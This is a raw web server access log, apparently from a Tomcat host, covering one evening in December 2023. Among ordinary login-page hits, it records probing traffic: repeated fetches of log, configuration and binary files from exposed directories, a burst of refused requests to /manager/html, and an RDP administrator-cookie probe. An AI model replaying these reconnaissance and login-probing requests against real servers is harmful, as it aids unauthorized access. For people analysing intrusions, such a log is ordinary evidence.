167.94.145.51 - - [30/Dec/2023:16:00:23 -0500] "GET /images/favicon.ico HTTP/1.1" 200 1150 167.94.145.51 - - [30/Dec/2023:16:00:24 -0500] "GET /favicon.ico HTTP/1.1" 302 - 167.94.145.51 - - [30/Dec/2023:16:00:24 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:16:22:22 -0500] "GET /bin/configtest.bat HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:22:23 -0500] "GET /bin/version.bat HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:23:09 -0500] "GET /logs/localhost_access_log..2020-02-14.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:23:10 -0500] "GET /logs/localhost_access_log..2022-02-09.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:31:41 -0500] "GET /webapps/examples/jsp/cal/home HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:31:42 -0500] "GET /webapps/examples/jsp/cal/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:31:42 -0500] "GET /webapps/examples/jsp/cal/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:31:42 -0500] "GET /webapps/examples/jsp/cal/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:33:38 -0500] "GET /logs/localhost_access_log..2023-01-18.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:44:56 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:16:44:56 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:16:47:40 -0500] "HEAD /bin/tomcat8.exe HTTP/1.1" 200 - 127.0.0.1 - - [30/Dec/2023:16:54:27 -0500] "GET /logs/catalina.2022-12-01.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:54:31 -0500] "GET /logs/catalina.2023-02-06.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:54:35 -0500] "GET /logs/localhost_access_log..2019-07-14.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:54:38 -0500] "GET /logs/localhost_access_log..2022-02-22.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:54:41 -0500] "GET /logs/localhost_access_log..2022-11-13.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:16:54:43 -0500] "GET /logs/localhost_access_log..2023-04-09.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:01:42 -0500] "GET /conf/?C=N;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:20:17 -0500] "GET /logs/catalina.2020-05-07.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:20:19 -0500] "GET /logs/catalina.2021-11-18.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:20:20 -0500] "GET /logs/catalina.2023-01-13.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:43:47 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:17:43:47 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:17:48:53 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:17:48:53 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:17:48:53 -0500] "GET /temp/ehcache_auto_created7693212487952609675diskstore/ HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:53:05 -0500] "GET /logs/catalina.2022-10-12.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:53:10 -0500] "GET /logs/catalina.2023-05-06.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:53:13 -0500] "GET /logs/host-manager.2022-08-19.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:53:16 -0500] "GET /logs/localhost_access_log..2020-10-01.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:53:19 -0500] "GET /logs/localhost_access_log..2022-02-12.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:53:21 -0500] "GET /logs/localhost_access_log..2022-06-06.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:17:53:23 -0500] "GET /logs/localhost_access_log..2023-04-16.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:13:52 -0500] "GET /conf/logging.properties HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:13:55 -0500] "GET /logs/catalina.2021-12-10.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:13:56 -0500] "GET /logs/catalina.2022-11-04.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:13:58 -0500] "GET /logs/catalina.2022-12-28.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:14:00 -0500] "GET /logs/localhost.2020-05-27.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:33:53 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:18:33:54 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:18:33:54 -0500] "GET /css/new-style.css HTTP/1.1" 200 5564 127.0.0.1 - - [30/Dec/2023:18:40:13 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:18:40:14 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:18:46:10 -0500] "GET /?C=D;O=D HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:18:46:48 -0500] "GET /webapps/examples/jsp/jsp2/misc/dynamicattrs.html HTTP/1.1" 200 2145 205.210.31.170 - - [30/Dec/2023:18:52:58 -0500] "îê†C!Ü<@•B%ú’¾Øô‡Ò7ÈÿÝîõ¯˜¨y[ ¬Œ5S'j¨MÚØ~2úá¬Õ-Ô÷åIHkd¼ˆ~ƒ&À+À/À,À0̨̩À ÀÀ" 400 - 205.210.31.170 - - [30/Dec/2023:18:52:58 -0500] "ÊÆ0Àõ²8'{küÚk,t—‘w´ˆl„º +sˆùɸhÌÌÀ/À+À0À,ÀÀÀ'À#ÀÀ À(À$ÀÀ " 400 - 127.0.0.1 - - [30/Dec/2023:18:54:05 -0500] "GET /logs/localhost_access_log..2019-07-15.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:54:08 -0500] "GET /logs/localhost_access_log..2019-11-13.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:54:11 -0500] "GET /logs/localhost_access_log..2019-11-27.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:54:13 -0500] "GET /logs/localhost_access_log..2021-07-27.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:54:15 -0500] "GET /logs/localhost_access_log..2022-11-25.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:54:16 -0500] "GET /logs/localhost_access_log..2022-12-17.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:54:18 -0500] "GET /logs/localhost_access_log..2023-01-02.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:18:54:19 -0500] "GET /logs/localhost_access_log..2023-03-30.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:19:09:45 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:19:09:45 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:19:09:45 -0500] "GET /bin/nullI2017-08-081502196259694.pdf HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:19:36:14 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:19:36:15 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:19:45:08 -0500] "GET /work/Catalina/localhost/pdf-manager/?C=D;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:19:45:43 -0500] "GET /work/Catalina/cyberschoolelibrary.com/ROOT/?C=M;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:19:48:42 -0500] "GET /logs/catalina.2021-12-22.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:19:48:45 -0500] "GET /logs/localhost_access_log..2019-11-19.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:19:48:48 -0500] "GET /logs/localhost_access_log..2022-03-02.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:19:48:50 -0500] "GET /logs/localhost_access_log..2023-01-05.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:19:48:52 -0500] "GET /logs/localhost_access_log..2023-03-31.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:19:48:54 -0500] "GET /logs/localhost_access_log..2023-06-10.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:19:56:11 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:19:56:13 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:20:01:25 -0500] "GET /temp/ehcache_auto_created2440233972553433380diskstore/?C=N;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:01:26 -0500] "GET /temp/ehcache_auto_created5281633512249678738diskstore/?C=N;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:07:24 -0500] "GET /webapps/1/?C=M;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:27:36 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:20:27:36 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:20:31:33 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:20:31:33 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:20:41:27 -0500] "GET /work/Catalina/localhost/host-manager/org/?C=N;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:41:54 -0500] "GET /logs/catalina.2021-10-29.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:41:58 -0500] "GET /logs/catalina.2022-06-24.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:42:01 -0500] "GET /logs/localhost_access_log..2022-06-05.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:42:04 -0500] "GET /logs/localhost_access_log..2022-08-11.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:42:06 -0500] "GET /logs/localhost_access_log..2023-01-09.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:42:08 -0500] "GET /logs/localhost_access_log..2023-04-04.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:49:07 -0500] "GET /webapps/examples/jsp/jsp2/jspattribute/home HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:49:08 -0500] "GET /webapps/examples/jsp/jsp2/jspattribute/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:49:08 -0500] "GET /webapps/examples/jsp/jsp2/jspattribute/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:49:08 -0500] "GET /webapps/examples/jsp/jsp2/jspattribute/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:20:53:52 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:20:53:52 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:21:08:27 -0500] "GET /bin/catalina.bat HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:21:08:28 -0500] "GET /lib/catalina-tribes.jar HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:21:08:29 -0500] "GET /lib/tomcat-i18n-es.jar HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:21:08:31 -0500] "GET /logs/catalina.2022-09-11.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:21:11:56 -0500] "GET /app-ads.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:21:11:57 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:21:17:12 -0500] "GET /docs/tomcat.jsp HTTP/1.1" 404 1022 127.0.0.1 - - [30/Dec/2023:21:17:44 -0500] "GET /tomcat.jsp HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:21:17:45 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:21:18:04 -0500] "GET /tomcat.jsp HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:21:18:04 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:21:25:59 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:21:25:59 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:21:30:34 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:21:30:34 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:21:30:39 -0500] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:21:30:39 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:21:39:55 -0500] "GET /logs/catalina.2021-08-29.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:21:39:59 -0500] "GET /logs/catalina.2021-11-24.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:21:40:03 -0500] "GET /logs/catalina.2022-07-23.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:21:40:06 -0500] "GET /logs/localhost_access_log..2023-01-29.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:21:40:09 -0500] "GET /logs/localhost_access_log..2023-05-23.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:21:40:11 -0500] "GET /logs/localhost_access_log..2023-05-28.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:22:01:52 -0500] "GET /logs/catalina.2022-08-03.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:22:03:05 -0500] "GET /logs/localhost_access_log..2019-08-30.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:22:03:07 -0500] "GET /logs/localhost_access_log..2019-12-20.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:22:18:36 -0500] "GET /logs/localhost_access_log..2023-09-08.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:22:29:06 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:22:29:06 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:22:40:22 -0500] "GET /logs/catalina.2019-01-28.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:22:40:26 -0500] "GET /logs/catalina.2022-06-29.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:22:40:30 -0500] "GET /logs/localhost_access_log..2022-12-30.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:22:40:33 -0500] "GET /logs/localhost_access_log..2023-03-22.txt HTTP/1.1" 200 2145 194.165.16.76 - - [30/Dec/2023:22:56:44 -0500] "/*àCookie: mstshash=Administr " 400 - 94.156.64.138 - - [30/Dec/2023:22:59:46 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:46 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:46 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:46 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:46 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:46 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:46 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:47 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:47 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:47 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:47 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:47 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:47 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:47 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:47 -0500] "GET /manager/html HTTP/1.1" 401 2538 94.156.64.138 - - [30/Dec/2023:22:59:47 -0500] "GET /manager/html HTTP/1.1" 401 2538 127.0.0.1 - - [30/Dec/2023:23:02:39 -0500] "GET /bin/tool-wrapper.bat HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:23:02:41 -0500] "GET /logs/catalina.2023-06-17.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:23:02:43 -0500] "GET /logs/localhost.2019-06-29.log HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:23:03:25 -0500] "GET /logs/localhost_access_log..2020-01-03.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:23:09:58 -0500] "GET /docs/tomcat.jsp HTTP/1.1" 404 1022 127.0.0.1 - - [30/Dec/2023:23:10:12 -0500] "GET /tomcat.jsp HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:23:10:12 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:23:10:21 -0500] "GET /tomcat.jsp HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:23:10:21 -0500] "GET /login HTTP/1.1" 200 4254 167.94.138.125 - - [30/Dec/2023:23:12:55 -0500] "GET / HTTP/1.1" 302 - 167.94.138.125 - - [30/Dec/2023:23:13:01 -0500] "GET / HTTP/1.1" 302 - 167.94.138.125 - - [30/Dec/2023:23:13:01 -0500] "PRI * HTTP/2.0" 505 - 167.94.138.125 - - [30/Dec/2023:23:13:04 -0500] "GET /login HTTP/1.1" 200 4254 167.94.138.125 - - [30/Dec/2023:23:13:05 -0500] "PRI * HTTP/2.0" 505 - 167.94.138.125 - - [30/Dec/2023:23:13:05 -0500] "GET /images/favicon.ico HTTP/1.1" 200 1150 167.94.138.125 - - [30/Dec/2023:23:13:05 -0500] "GET /favicon.ico HTTP/1.1" 302 - 167.94.138.125 - - [30/Dec/2023:23:13:05 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:23:27:06 -0500] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [30/Dec/2023:23:27:06 -0500] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [30/Dec/2023:23:35:03 -0500] "GET /logs/localhost_access_log..2022-07-20.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:23:35:08 -0500] "GET /logs/localhost_access_log..2022-08-03.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:23:35:11 -0500] "GET /logs/localhost_access_log..2022-09-06.txt HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:23:49:19 -0500] "GET /webapps/1/?C=S;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:23:54:52 -0500] "GET /lib/ecj-4.4RC4.jar HTTP/1.1" 200 2145 127.0.0.1 - - [30/Dec/2023:23:54:54 -0500] "GET /logs/localhost.2023-01-12.log HTTP/1.1" 200 2145